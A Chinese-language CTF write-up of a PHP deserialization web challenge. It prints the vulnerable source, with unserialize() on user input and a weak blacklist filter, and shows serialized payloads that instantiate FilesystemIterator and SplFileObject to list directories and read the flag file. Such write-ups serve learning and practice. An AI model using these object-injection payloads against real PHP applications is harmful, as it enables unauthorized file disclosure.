本次比赛一共三道web,一道签到题就不用说了,另外两道貌似也都不是很难的题,但是确实水个人平太菜,没都做出来,还是逐步积累经验吧
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}
}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;
}
本题考点,反序列化及拼接调用filesystemiterator和splfileobject类方法;
通过代码审计,对我们有用的代码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para); //关键,触发点,能够创建指定类对象
}
}
}
主要是通过反序列化用wakeup拼接调用任意类方法,达到文件读取的目的;
这里的两个类方法功能:
FilesystemIterator:指定目录的迭代器
SplFileObject:获取指定目录下的所有文件,指定文件时通过返回值可以读取文件内容
构造序列化:
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class = 'FilesystemIterator';
public $para = './';
public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:2:"./";s:5:"check";N;}
显示:
得到文件夹/xxxXXXmMManNNn
继续构造:
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class = 'FilesystemIterator';
public $para = './xxxXXXmMManNNn/';
public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:17:"./xxxXXXmMManNNn/";s:5:"check";N;}
显示:
提醒flag在f1a4.php里:
构造反序列化调用splfileobject类方法读取文件内容:
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class = 'SplFileObject';
public $para = './xxxXXXmMManNNn/f1a4.php';
public $check;
}
$payload = new XMAN();
echo serialize($payload);
//得到:
//O:4:"XMAN":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:25:"./xxxXXXmMManNNn/f1a4.php";s:5:"check";N;}
一道模板注入的题,还没接触过模板注入,官方wp还看不懂,先滚去学了。